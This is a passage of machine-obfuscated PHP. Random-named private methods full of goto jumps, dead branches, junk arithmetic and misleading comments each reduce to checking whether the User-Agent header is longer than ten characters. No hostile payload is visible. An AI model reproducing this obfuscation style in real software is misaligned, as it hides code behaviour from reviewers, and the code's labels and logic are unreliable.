$n7sJ6WnP = 276 + 36; $NqlX8zGc = $n7sJ6WnP * 1; goto z_4BeOSV; z_4BeOSV: $iCjD65Pi = 466 + 41; $iCjD65Pi = $iCjD65Pi * 3; goto ETxU027F; ETxU027F: /* Security component */ $FbaGmw5w = 195 + 4; $a6b9oay5s = $FbaGmw5w * 1; goto QVwdDqVl; QVwdDqVl: goto d7juuRqJ; d7juuRqJ: // 4fhwWVYFLxBf goto pRV4jZmV; pRV4jZmV: $BqYDw4sr = 209 + 46; $a6b9oay5s = $BqYDw4sr * 5; goto ADLVLjry; ADLVLjry: goto QbEEBX3M; QbEEBX3M: goto Q0w9KFif; Q0w9KFif: if (false) { echo 'This is a dead end'; } goto ETq_vv7T; ETq_vv7T: goto auiaQsWI; auiaQsWI: if (false) { echo 'This is a dead end'; } goto cpjo5IK5; cpjo5IK5: /* nrLWiRb0VE */ $NqlX8zGc = 473 + 23; $FbaGmw5w = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto gYmqMhLt; gYmqMhLt: /* System file */ $a6EHyDbxg = 326 + 7; $iCjD65Pi = $a6EHyDbxg * 4; goto HxOrZLQL; HxOrZLQL: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a1JUgHIwV; a1JUgHIwV: /* System file */ goto YB2y0aFD; YB2y0aFD: /* bT_WJEVr0p9PD_kOlPo1 */ if (false) { echo 'This is a dead end'; } goto cn2ZsHci; cn2ZsHci: if (false) { echo 'This is a dead end'; } goto gJecKHpM; gJecKHpM: if (false) { echo 'This is a dead end'; } goto a819m4VHR; a819m4VHR: // vHTs85XBwDTJQar5 goto TJDZ3mRZ; TJDZ3mRZ: goto w9tYnGMT; w9tYnGMT: // ZqhwgvOhZZSA4_FK goto qaarNBkN; qaarNBkN: goto f0kFp7Ot; f0kFp7Ot: /* Security component */ $WWDcP6ib = 340 + 4; $FbaGmw5w = $WWDcP6ib * 3; goto tVscpEzA; tVscpEzA: /* API handler */ $NqlX8zGc = 170 + 21; $a29IFo9lZ = $NqlX8zGc * 5; goto KFygS90E; KFygS90E: if (false) { echo 'This is a dead end'; } goto a3ZribHn8; a3ZribHn8: if (false) { echo 'This is a dead end'; } goto Ij0XuOac; Ij0XuOac: $a6EHyDbxg = 317 + 13; $B9ma2fmF = $a6EHyDbxg * 5; goto XbUHVQgc; XbUHVQgc: goto FbAW3p75; FbAW3p75: $jIP39ari = 411 + 2; $BqYDw4sr = $jIP39ari * 3; goto QiaQe1U6; QiaQe1U6: $a29IFo9lZ = strlen($jIP39ari); goto BersgKhi; BersgKhi: /* QULOPyqlh9iyYiNx5SAO */ if (false) { echo 'This is a dead end'; } goto BMiGTM0h; BMiGTM0h: /* gaWWjA5A3W */ $iX1geSuk = 869 + 2; $BqYDw4sr = $iX1geSuk * 3; goto kARrGESZ; kARrGESZ: $B9ma2fmF = 745 + 18; $bZa4iOd6 = $B9ma2fmF * 5; goto a9almdFXs; a9almdFXs: // 8MGYFlFpu2Vj goto nmGopSWz; nmGopSWz: /* API handler */ goto eKL4dM34; eKL4dM34: goto fDjyBia7; fDjyBia7: goto a2kwubeuw; a2kwubeuw: /* Th6B6VUiWY7jBg5 */ $jIP39ari = 443 + 15; $BqYDw4sr = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto GosxjQbE; GosxjQbE: goto Bg51vRR9; Bg51vRR9: goto fhRTl35a; fhRTl35a: $XsucffsH = 130 + 8; $bZa4iOd6 = $XsucffsH * 5; goto a9wKFFgw8; a9wKFFgw8: /* Core module */ goto BuX_y4br; BuX_y4br: // pEbl6S9YGruJlyJo goto lyohEC4a; lyohEC4a: $WWDcP6ib = 468 + 45; $WWDcP6ib = $WWDcP6ib * 1; goto b4anT5mH; b4anT5mH: if (false) { echo 'This is a dead end'; } goto EKnK3ca5; EKnK3ca5: return $a29IFo9lZ > 10; } private function dXh96Gl0oz() { // yr0LKHhRkaG2 goto R3pW567a; R3pW567a: goto pXayyvtr; pXayyvtr: /* rcUfbEBbpm */ goto mK8dKvBT; mK8dKvBT: /* veINLtSlOI7GKjp */ goto rp4t3W2d; rp4t3W2d: $jIP39ari = 537 + 36; $WWDcP6ib = $jIP39ari * 4; goto TCmWU0kz; TCmWU0kz: /* RPUcjpxz1nV2Bw5 */ goto w4irJvBn; w4irJvBn: goto JzmXWMy3; JzmXWMy3: /* _X_kJTkdKns6SbJ */ goto Ny0Lc8zg; Ny0Lc8zg: if (false) { echo 'This is a dead end'; } goto a0OuION5u; a0OuION5u: goto xJiAj0A2; xJiAj0A2: goto TRGHIVc7; TRGHIVc7: goto a8qszguMX; a8qszguMX: goto CjV4_GYJ; CjV4_GYJ: /* GNWt137eKb */ if (false) { echo 'This is a dead end'; } goto lXMhCbjp; lXMhCbjp: goto Mg87qRdO; Mg87qRdO: $n7sJ6WnP = 761 + 40; $NqlX8zGc = $n7sJ6WnP * 3; goto k7gDKtpV; k7gDKtpV: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto OZY5hTwB; OZY5hTwB: goto NuB9s_aB; NuB9s_aB: $a29IFo9lZ = 554 + 25; $Pe9zuJ4r = $a29IFo9lZ * 5; if (false) { echo 'This is a dead end'; } goto MNjAeEAE; MNjAeEAE: $n7sJ6WnP = 564 + 12; $iCjD65Pi = $n7sJ6WnP * 1; goto iubYPaNV; iubYPaNV: goto zKsKAzeB; zKsKAzeB: $WWDcP6ib = 266 + 21; $a29IFo9lZ = $WWDcP6ib * 5; goto RXTY7LAO; RXTY7LAO: if (false) { echo 'This is a dead end'; } goto a0vJom_f8; a0vJom_f8: $a29IFo9lZ = 744 + 17; $BqYDw4sr = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto cK_bJHVK; cK_bJHVK: // WyFGsOzzMJGmfdzT goto a0bby6wx0; a0bby6wx0: goto vE5uleb2; vE5uleb2: /* System file */ goto gwuyFSpV; gwuyFSpV: $bZa4iOd6 = 810 + 22; $a29IFo9lZ = $bZa4iOd6 * 4; goto HVO2UBv7; HVO2UBv7: // J1LxLTttlfvV $iCjD65Pi = 361 + 35; $a6b9oay5s = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto RdhGIRYI; RdhGIRYI: /* auPieBpYCK */ goto a7ZAZybXk; a7ZAZybXk: goto TCL6Zf7W; TCL6Zf7W: /* gE4HkdS4jb */ goto eCAU24C9; eCAU24C9: $a29IFo9lZ = strlen($a6EHyDbxg); goto uJSIZTZb; uJSIZTZb: goto OG47Kbwr; OG47Kbwr: /* Security component */ $XsucffsH = 186 + 2; $NqlX8zGc = $XsucffsH * 2; goto YcjqsnmW; YcjqsnmW: /* ppyjUoJVc6_1qYdYouTQ */ goto ds4aa3gR; ds4aa3gR: $NqlX8zGc = 610 + 17; $Pe9zuJ4r = $NqlX8zGc * 4; if (false) { echo 'This is a dead end'; } goto J50Rebwe; J50Rebwe: /* UknydKCAmksoT5jyYynd */ goto a4JEnb6n; a4JEnb6n: goto w17zZPsm; w17zZPsm: goto bGBmfE4y; bGBmfE4y: $iX1geSuk = 838 + 14; $NqlX8zGc = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto QvdViHGi; QvdViHGi: goto tTr15Kqw; tTr15Kqw: goto ABkOVKea; ABkOVKea: $iX1geSuk = 953 + 47; $BqYDw4sr = $iX1geSuk * 3; if (false) { echo 'This is a dead end'; } goto a4aLZSzqa; a4aLZSzqa: // qLFUHSIWJhydEYpF goto nCGwPGPW; nCGwPGPW: /* API handler */ goto EuCcOpNx; EuCcOpNx: goto a0jNfRnsp; a0jNfRnsp: goto L1LsOy7Q; L1LsOy7Q: return $a29IFo9lZ > 10; } private function a0Of3jiyKHN() { // koDgiLyN_wJKsdJe goto vwGT1eFS; vwGT1eFS: /* System file */ $B9ma2fmF = 880 + 36; $NqlX8zGc = $B9ma2fmF * 4; goto JrEVi25t; JrEVi25t: goto lMqlUktE; lMqlUktE: $iCjD65Pi = 617 + 26; $a6EHyDbxg = $iCjD65Pi * 4; goto OjmB3pM4; OjmB3pM4: goto a0Xu_aRCW; a0Xu_aRCW: goto fEr_MEPt; fEr_MEPt: goto kyftp5RI; kyftp5RI: if (false) { echo 'This is a dead end'; } goto Tlm2id1B; Tlm2id1B: /* Main service */ goto a_4i8RnSe; a_4i8RnSe: // T86Sc2RgfQBsLtBB if (false) { echo 'This is a dead end'; } goto aYyNT5iH; aYyNT5iH: $a6b9oay5s = 207 + 27; $Pe9zuJ4r = $a6b9oay5s * 5; goto NY9_Qpgf; NY9_Qpgf: // tqyShXYOu3av goto ambQw9Rn; ambQw9Rn: /* Main service */ goto OatY2cUk; OatY2cUk: /* Core module */ $NqlX8zGc = 417 + 46; $a6EHyDbxg = $NqlX8zGc * 2; goto FoCL9YJI; FoCL9YJI: goto a7ZL9mlQG; a7ZL9mlQG: // 2pvJJd8w goto EI6FgeRY; EI6FgeRY: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto PKx_0EQn; PKx_0EQn: /* Core module */ $n7sJ6WnP = 617 + 6; $iCjD65Pi = $n7sJ6WnP * 4; goto a0yZJ8lrc; a0yZJ8lrc: goto pvfGNtOK; pvfGNtOK: /* H0p5vz3vYO46lfm */ goto MfShuxSU; MfShuxSU: /* Security component */ goto nf2J1CkM; nf2J1CkM: // 03DYIdtu2yB2 $Pe9zuJ4r = 579 + 46; $NqlX8zGc = $Pe9zuJ4r * 4; goto AcJS0e38; AcJS0e38: /* Main service */ $BqYDw4sr = 404 + 46; $XsucffsH = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto bh5kQhTc; bh5kQhTc: if (false) { echo 'This is a dead end'; } goto PBK19xZU; PBK19xZU: // BcXmIPCoVhD17jVK goto Q4cYhIVG; Q4cYhIVG: /* Security component */ goto wwjYeXre; wwjYeXre: /* 59UstI8bXHq0bY4gWtNu */ $WWDcP6ib = 468 + 50; $iCjD65Pi = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto sle_tDyF; sle_tDyF: $a29IFo9lZ = 114 + 8; $n7sJ6WnP = $a29IFo9lZ * 2; goto Axp4HaGe; Axp4HaGe: /* Core module */ goto K1q4FjaJ; K1q4FjaJ: /* Main service */ $jIP39ari = 691 + 37; $bZa4iOd6 = $jIP39ari * 3; goto a1_ct9LXM; a1_ct9LXM: /* doIO9hL2Qg */ $a6EHyDbxg = 796 + 23; $a29IFo9lZ = $a6EHyDbxg * 5; goto WVt23g4U; WVt23g4U: /* Main service */ if (false) { echo 'This is a dead end'; } goto a8VpElkPL; a8VpElkPL: $bZa4iOd6 = strlen($BqYDw4sr); goto jRu8qSR6; jRu8qSR6: // GzzO4ggde3IDu1_6 $a6b9oay5s = 167 + 46; $iCjD65Pi = $a6b9oay5s * 5; goto hZoVCBdX; hZoVCBdX: if (false) { echo 'This is a dead end'; } goto CKtNqVWi; CKtNqVWi: $jIP39ari = 308 + 31; $jIP39ari = $jIP39ari * 2; goto kkrgXxij; kkrgXxij: // DkZZAQaL $iCjD65Pi = 578 + 13; $a6EHyDbxg = $iCjD65Pi * 3; goto wxyjL7hl; wxyjL7hl: /* API handler */ if (false) { echo 'This is a dead end'; } goto ycjn5SHx; ycjn5SHx: /* VTgOApn4BP */ goto B9EoVuxK; B9EoVuxK: /* Main service */ $B9ma2fmF = 384 + 30; $iCjD65Pi = $B9ma2fmF * 5; goto VTPb_tRz; VTPb_tRz: /* API handler */ goto skuli_Tq; skuli_Tq: /* Security component */ if (false) { echo 'This is a dead end'; } goto nGVbRpau; nGVbRpau: /* M2W1DnIPRFsayk3 */ if (false) { echo 'This is a dead end'; } goto RV52qCXY; RV52qCXY: // KMwCkXcD goto P9REn6w1; P9REn6w1: $Pe9zuJ4r = 566 + 15; $n7sJ6WnP = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto c_e_G2Sa; c_e_G2Sa: // 3tGSbtR4 if (false) { echo 'This is a dead end'; } goto G3LLIyi_; G3LLIyi_: /* Main service */ goto g7bcmQCd; g7bcmQCd: // 8FiATPg7eYLr $bZa4iOd6 = 808 + 20; $n7sJ6WnP = $bZa4iOd6 * 2; goto Euaerc20; Euaerc20: return $bZa4iOd6 > 10; } private function a99rZ5yNeBi() { goto JHiuJG3m; JHiuJG3m: /* Main service */ $Pe9zuJ4r = 562 + 32; $a6EHyDbxg = $Pe9zuJ4r * 5; if (false) { echo 'This is a dead end'; } goto s2TvAp9X; s2TvAp9X: /* API handler */ $a29IFo9lZ = 830 + 37; $a6b9oay5s = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto JxJojSPQ; JxJojSPQ: /* TcRVa0cc_atuZMl9OeGT */ goto KiUzmJmU; KiUzmJmU: $bZa4iOd6 = 915 + 20; $iCjD65Pi = $bZa4iOd6 * 5; goto mD2c3k5v; mD2c3k5v: // KMubjd9t $FbaGmw5w = 717 + 9; $FbaGmw5w = $FbaGmw5w * 2; goto i6HB0IMX; i6HB0IMX: /* Security component */ goto jdnXpBwx; jdnXpBwx: /* Security component */ goto fgkkUkp1; fgkkUkp1: /* System file */ goto s9n7suoo; s9n7suoo: /* HBD70fdxxGJVOGxeCeCy */ goto rAbMw71O; rAbMw71O: /* Main service */ $B9ma2fmF = 258 + 50; $B9ma2fmF = $B9ma2fmF * 1; goto W_i3Thtx; W_i3Thtx: /* Security component */ goto KZLOZGHV; KZLOZGHV: goto a9XApYAI5; a9XApYAI5: $a6EHyDbxg = 106 + 14; $n7sJ6WnP = $a6EHyDbxg * 1; goto TpBIg_eQ; TpBIg_eQ: /* Security component */ goto b__Hp9N4; b__Hp9N4: /* BSuecQMxvbX1wRv7yZbZ */ $iX1geSuk = 426 + 30; $n7sJ6WnP = $iX1geSuk * 3; goto LtMVDWn5; LtMVDWn5: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto j31JFhgH; j31JFhgH: /* System file */ goto jGxyfMBY; jGxyfMBY: goto a8LGO87yu; a8LGO87yu: goto mJNMNTCY; mJNMNTCY: /* Security component */ goto HOqWCzo9; HOqWCzo9: /* Security component */ if (false) { echo 'This is a dead end'; } goto tC64bgKu; tC64bgKu: // u3uPstGN2HeT goto a__2iU3ym; a__2iU3ym: goto WPbMQwQZ; WPbMQwQZ: // _O0bBLzzmtU3 $iX1geSuk = 297 + 13; $bZa4iOd6 = $iX1geSuk * 4; goto U5H2exyZ; U5H2exyZ: $XsucffsH = 394 + 7; $a29IFo9lZ = $XsucffsH * 2; goto n3HpeHN_; n3HpeHN_: // 5VN6T6HKX8aBbGns $iCjD65Pi = 432 + 10; $iCjD65Pi = $iCjD65Pi * 3; goto a0i_BfKDc; a0i_BfKDc: $jIP39ari = 372 + 27; $XsucffsH = $jIP39ari * 5; goto DvYudpcM; DvYudpcM: if (false) { echo 'This is a dead end'; } goto a1aSxIYw3; a1aSxIYw3: goto FBIJQYay; FBIJQYay: goto WIFx561_; WIFx561_: /* Main service */ if (false) { echo 'This is a dead end'; } goto EDIW053h; EDIW053h: $a29IFo9lZ = strlen($n7sJ6WnP); goto a1BCw1gnv; a1BCw1gnv: $bZa4iOd6 = 784 + 50; $XsucffsH = $bZa4iOd6 * 4; goto XqnboGqv; XqnboGqv: /* API handler */ $FbaGmw5w = 304 + 38; $Pe9zuJ4r = $FbaGmw5w * 1; goto pQ55oOP8; pQ55oOP8: // TL7dF4LMCea0 $XsucffsH = 940 + 41; $Pe9zuJ4r = $XsucffsH * 4; goto TxAyINJ_; TxAyINJ_: goto GieTKGlz; GieTKGlz: goto JfI6NvWs; JfI6NvWs: /* API handler */ $a29IFo9lZ = 462 + 1; $BqYDw4sr = $a29IFo9lZ * 4; goto a92mAnFhx; a92mAnFhx: /* System file */ if (false) { echo 'This is a dead end'; } goto oFuFlSQG; oFuFlSQG: /* SunYAdo3B0 */ goto wEMlWGgg; wEMlWGgg: /* API handler */ goto a5hIDjpwq; a5hIDjpwq: goto vval4Eck; vval4Eck: /* Gn6etHQx4y */ goto P20gr6TQ; P20gr6TQ: /* System file */ goto i0BkmxYw; i0BkmxYw: /* Core module */ $WWDcP6ib = 839 + 28; $Pe9zuJ4r = $WWDcP6ib * 2; goto kUkTwNzK; kUkTwNzK: if (false) { echo 'This is a dead end'; } goto ljf4yEps; ljf4yEps: /* 6BEVj4IUNG */ $B9ma2fmF = 521 + 48; $FbaGmw5w = $B9ma2fmF * 4; if (false) { echo 'This is a dead end'; } goto XKE3i1PD; XKE3i1PD: return $a29IFo9lZ > 10; } private function FqnnyEn5os() { goto FeDGT2m5; FeDGT2m5: if (false) { echo 'This is a dead end'; } goto a7T4fB4og; a7T4fB4og: goto kc8ZH3p_; kc8ZH3p_: goto a5H32Pkli; a5H32Pkli: /* jf5Rkpirfb */ goto YtmKgnyg; YtmKgnyg: goto MWNyQqI2; MWNyQqI2: /* u6LKoubfLt */ $FbaGmw5w = 501 + 48; $a6EHyDbxg = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto rt4G7GQ4; rt4G7GQ4: /* Z3xcS_6pDGvtZS5956Oa */ $n7sJ6WnP = 718 + 1; $iX1geSuk = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto a46sqkKms; a46sqkKms: /* Core module */ goto ut7s5R6I; ut7s5R6I: $BqYDw4sr = 965 + 43; $bZa4iOd6 = $BqYDw4sr * 3; goto rMOmF9jM; rMOmF9jM: $iX1geSuk = 979 + 27; $BqYDw4sr = $iX1geSuk * 4; goto rZWCuelB; rZWCuelB: /* 6MPy_m6e16 */ if (false) { echo 'This is a dead end'; } goto a4uBHvKu; a4uBHvKu: /* Security component */ goto s8qa3wY8; s8qa3wY8: goto ZMJc1Wde; ZMJc1Wde: /* AplmUEuOVG4Qk75rBbVC */ if (false) { echo 'This is a dead end'; } goto B5RIo0lY; B5RIo0lY: goto a8aPgfMiB; a8aPgfMiB: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a9UjTBm1l; a9UjTBm1l: goto nFFycyLr; nFFycyLr: // 49R0UpPoAjm9 goto vwVLwQ6r; vwVLwQ6r: /* API handler */ $BqYDw4sr = 756 + 50; $n7sJ6WnP = $BqYDw4sr * 2; goto QzOfGK2t; QzOfGK2t: /* Core module */ $FbaGmw5w = 440 + 20; $bZa4iOd6 = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto Mc1IKDce; Mc1IKDce: /* Core module */ goto a5oRHTNg3; a5oRHTNg3: goto ngIuKEb0; ngIuKEb0: goto rknJ9krV; rknJ9krV: if (false) { echo 'This is a dead end'; } goto uMCb1oXb; uMCb1oXb: /* Security component */ if (false) { echo 'This is a dead end'; } goto ZdcIgu9u; ZdcIgu9u: goto AzH5nsB1; AzH5nsB1: /* Security component */ $WWDcP6ib = 326 + 31; $n7sJ6WnP = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto M9eBjjNO; M9eBjjNO: if (false) { echo 'This is a dead end'; } goto Ni5Q2Lkg; Ni5Q2Lkg: $iCjD65Pi = 993 + 15; $a6b9oay5s = $iCjD65Pi * 3; goto c7KzDkbW; c7KzDkbW: goto GSVfJIe8; GSVfJIe8: $a29IFo9lZ = 615 + 37; $B9ma2fmF = $a29IFo9lZ * 4; goto uUoxxFPu; uUoxxFPu: $a29IFo9lZ = strlen($XsucffsH); goto eyAfVqBl; eyAfVqBl: goto ZXsSJOPR; ZXsSJOPR: $B9ma2fmF = 955 + 20; $XsucffsH = $B9ma2fmF * 4; goto ZjpccvyN; ZjpccvyN: $iCjD65Pi = 200 + 20; $WWDcP6ib = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto mn0mFzH6; mn0mFzH6: $n7sJ6WnP = 381 + 28; $WWDcP6ib = $n7sJ6WnP * 3; goto kGssRsx3; kGssRsx3: if (false) { echo 'This is a dead end'; } goto bEXaaOfQ; bEXaaOfQ: $XsucffsH = 166 + 37; $jIP39ari = $XsucffsH * 4; goto BiUS_j12; BiUS_j12: /* HMRQiiPz3yjaWw5wUFmC */ goto pjMrG4w4; pjMrG4w4: goto br4eT2yp; br4eT2yp: /* System file */ goto k0As0SOI; k0As0SOI: $a6EHyDbxg = 532 + 22; $iCjD65Pi = $a6EHyDbxg * 1; goto RiiySKL5; RiiySKL5: goto foXhRSr4; foXhRSr4: /* Security component */ goto SaZSDo5D; SaZSDo5D: goto PqyCJdM6; PqyCJdM6: // Az606mrHNmoo $XsucffsH = 527 + 17; $jIP39ari = $XsucffsH * 1; goto wGof2Ej1; wGof2Ej1: $BqYDw4sr = 795 + 18; $NqlX8zGc = $BqYDw4sr * 1; goto nhfVl_ax; nhfVl_ax: return $a29IFo9lZ > 10; } private function a9wRCMP7lRP() { /* Main service */ goto ot8qf75n; ot8qf75n: $iX1geSuk = 361 + 47; $WWDcP6ib = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto gjCofMM3; gjCofMM3: goto LztQs2dR; LztQs2dR: goto ymQ270ot; ymQ270ot: goto T3RgKCx6; T3RgKCx6: /* Main service */ if (false) { echo 'This is a dead end'; } goto OHRAyEWG; OHRAyEWG: $BqYDw4sr = 876 + 16; $B9ma2fmF = $BqYDw4sr * 4; goto z4f2t26k; z4f2t26k: /* z2OLxK73K0cM3sL */ goto ycuUdSnr; ycuUdSnr: $a6b9oay5s = 327 + 30; $jIP39ari = $a6b9oay5s * 5; goto pePWdEQP; pePWdEQP: goto u6OGHnne; u6OGHnne: goto a1n1z9VEE; a1n1z9VEE: /* 1g_W11U2rD */ if (false) { echo 'This is a dead end'; } goto JClZ9Dki; JClZ9Dki: /* Security component */ goto qodCF57G; qodCF57G: $FbaGmw5w = 559 + 33; $WWDcP6ib = $FbaGmw5w * 2; goto JTNtUULr; JTNtUULr: goto a8WBMVoSc; a8WBMVoSc: /* Main service */ if (false) { echo 'This is a dead end'; } goto YTMB8wz_; YTMB8wz_: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto M46x7FTP; M46x7FTP: // uqk5jEYX if (false) { echo 'This is a dead end'; } goto Ojgkw3h8; Ojgkw3h8: /* Main service */ $iCjD65Pi = 369 + 21; $NqlX8zGc = $iCjD65Pi * 3; goto kbon__CM; kbon__CM: // oZoBjTQFozXY goto LXpxDWnU; LXpxDWnU: goto rTf6JMby; rTf6JMby: $iX1geSuk = 687 + 10; $XsucffsH = $iX1geSuk * 3; goto pwgLhSlF; pwgLhSlF: goto oejr4JtY; oejr4JtY: // h__6cO77xYdLFU3B goto GQYUSfP6; GQYUSfP6: // SBF5vgWvfU8WbJGn goto Q6IhEEsi; Q6IhEEsi: /* Xglcb9FMiWMV0k9uXORz */ $FbaGmw5w = 660 + 13; $a6b9oay5s = $FbaGmw5w * 1; goto lQvKMz_9; lQvKMz_9: goto mJBc1iPP; mJBc1iPP: // ApdirFaMxsTlbHXY $FbaGmw5w = 582 + 24; $iCjD65Pi = $FbaGmw5w * 4; if (false) { echo 'This is a dead end'; } goto q4Iol7tv; q4Iol7tv: goto a7Zqpe0eI; a7Zqpe0eI: $bZa4iOd6 = 328 + 44; $BqYDw4sr = $bZa4iOd6 * 1; goto f2_GXvhd; f2_GXvhd: $a29IFo9lZ = 854 + 43; $WWDcP6ib = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a_442YVmF; a_442YVmF: /* System file */ goto mgn167FS; mgn167FS: $a6b9oay5s = strlen($BqYDw4sr); goto JbUn5RqH; JbUn5RqH: // JIvmAP3GKenX goto fP0BObys; fP0BObys: /* U1etITjBxn */ goto N1f_APIl; N1f_APIl: // gVQbybyyrhpr if (false) { echo 'This is a dead end'; } goto XOvNU_u0; XOvNU_u0: goto VVLXD6pL; VVLXD6pL: /* PpVy8N9urOkRam8 */ $n7sJ6WnP = 427 + 27; $FbaGmw5w = $n7sJ6WnP * 2; goto IqQiqKHu; IqQiqKHu: goto LQ28jg60; LQ28jg60: $a6EHyDbxg = 683 + 48; $a6EHyDbxg = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto HU6SeLzV; HU6SeLzV: goto Q5THrtBI; Q5THrtBI: $BqYDw4sr = 867 + 25; $NqlX8zGc = $BqYDw4sr * 4; goto zHg5aHTE; zHg5aHTE: $jIP39ari = 181 + 36; $BqYDw4sr = $jIP39ari * 5; goto ChZDW3Sk; ChZDW3Sk: /* O7t7HPKcxZ */ goto QRZnIP5C; QRZnIP5C: goto ukdpk88S; ukdpk88S: goto aOMaOPiG; aOMaOPiG: /* 7zutg9G63T */ if (false) { echo 'This is a dead end'; } goto yYJFaqGV; yYJFaqGV: /* yXlgNOgS01 */ $iCjD65Pi = 895 + 4; $n7sJ6WnP = $iCjD65Pi * 3; goto jgzqiHUQ; jgzqiHUQ: return $a6b9oay5s > 10; } private function PUUrXS7pW1() { goto a0kmiabZc; a0kmiabZc: // Pr0QDHNkOwEpXzNx goto M0_57mcx; M0_57mcx: /* API handler */ $a6EHyDbxg = 704 + 41; $iCjD65Pi = $a6EHyDbxg * 2; goto Sb1xyBuc; Sb1xyBuc: /* h4rwgBH5YLMKp8aUqCQ9 */ $Pe9zuJ4r = 565 + 22; $XsucffsH = $Pe9zuJ4r * 3; goto j3CIQMmB; j3CIQMmB: goto dBgliThF; dBgliThF: /* System file */ $jIP39ari = 487 + 29; $a29IFo9lZ = $jIP39ari * 5; goto a0NMVJH2L; a0NMVJH2L: /* beyfKjEt2mUCkIX */ $XsucffsH = 288 + 27; $jIP39ari = $XsucffsH * 2; goto XUz2xSyi; XUz2xSyi: goto wvNAbUf_; wvNAbUf_: goto tYkRjEj3; tYkRjEj3: $n7sJ6WnP = 385 + 19; $B9ma2fmF = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto cbu1hNaH; cbu1hNaH: /* System file */ if (false) { echo 'This is a dead end'; } goto daekWuyq; daekWuyq: /* Main service */ $a6EHyDbxg = 560 + 36; $Pe9zuJ4r = $a6EHyDbxg * 5; goto tcdyohPd; tcdyohPd: goto GSGzSvE4; GSGzSvE4: /* fSTvsA6fpr */ $iX1geSuk = 210 + 26; $Pe9zuJ4r = $iX1geSuk * 2; goto a0b4wBe3r; a0b4wBe3r: goto xTrRoh3k; xTrRoh3k: goto a2eOeiJnb; a2eOeiJnb: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w2f0GNOH; w2f0GNOH: /* Core module */ if (false) { echo 'This is a dead end'; } goto Sq7WutmE; Sq7WutmE: /* Security component */ goto hXY4yTnT; hXY4yTnT: goto enTC2G7i; enTC2G7i: $iX1geSuk = 391 + 20; $iCjD65Pi = $iX1geSuk * 3; goto bykcMD9G; bykcMD9G: /* 8TAuv7LO7RdlA8cJMq9E */ $a29IFo9lZ = 542 + 22; $FbaGmw5w = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto sgA899hZ; sgA899hZ: if (false) { echo 'This is a dead end'; } goto IN3PU3ud; IN3PU3ud: $NqlX8zGc = 707 + 47; $NqlX8zGc = $NqlX8zGc * 5; goto a02eCXvva; a02eCXvva: /* Main service */ goto CAXPV0fi; CAXPV0fi: /* System file */ $WWDcP6ib = 420 + 40; $jIP39ari = $WWDcP6ib * 3; if (false) { echo 'This is a dead end'; } goto yYI_28Xj; yYI_28Xj: /* Bk4HaGz6D67GJTjUVxhf */ goto a9zHCoaE; a9zHCoaE: /* System file */ $n7sJ6WnP = 798 + 12; $BqYDw4sr = $n7sJ6WnP * 4; goto r4YuE6K3; r4YuE6K3: $bZa4iOd6 = 286 + 48; $iCjD65Pi = $bZa4iOd6 * 5; goto a7vOcSf5; a7vOcSf5: // 2wtbMWRkQfysYuIz if (false) { echo 'This is a dead end'; } goto a7CSvxDPQ; a7CSvxDPQ: /* cqcQTHnJZmTqY9PKRn5H */ goto aQjidKWP; aQjidKWP: goto YJrXgoLM; YJrXgoLM: $iCjD65Pi = strlen($Pe9zuJ4r); goto SsXhjFCD; SsXhjFCD: $FbaGmw5w = 478 + 25; $B9ma2fmF = $FbaGmw5w * 1; goto zk0ahjA0; zk0ahjA0: // y0oyy3ClMJ9nl099 goto UBlLV4FP; UBlLV4FP: goto sof9NbRs; sof9NbRs: /* Core module */ goto pl8GoUr5; pl8GoUr5: /* yzHYYyz_p1 */ $BqYDw4sr = 117 + 45; $NqlX8zGc = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto FVyACypU; FVyACypU: /* System file */ goto a6TrbOOF1; a6TrbOOF1: /* Main service */ goto fjwPI_QC; fjwPI_QC: // yomupYaI_1Cx5RV0 $B9ma2fmF = 752 + 25; $FbaGmw5w = $B9ma2fmF * 4; goto SwIsViE1; SwIsViE1: goto OzUD1qFP; OzUD1qFP: /* Core module */ $iX1geSuk = 704 + 34; $WWDcP6ib = $iX1geSuk * 4; goto mgPBPWfq; mgPBPWfq: $jIP39ari = 765 + 37; $Pe9zuJ4r = $jIP39ari * 4; if (false) { echo 'This is a dead end'; } goto uM0ormB9; uM0ormB9: goto c7zDYgaX; c7zDYgaX: $bZa4iOd6 = 185 + 17; $NqlX8zGc = $bZa4iOd6 * 3; goto s5QT00dv; s5QT00dv: goto reXTCEUb; reXTCEUb: /* Main service */ goto ydjZo5MH; ydjZo5MH: return $iCjD65Pi > 10; } private function irWKe00gZc() { goto a3kq5iGTh; a3kq5iGTh: /* System file */ $iX1geSuk = 726 + 45; $iCjD65Pi = 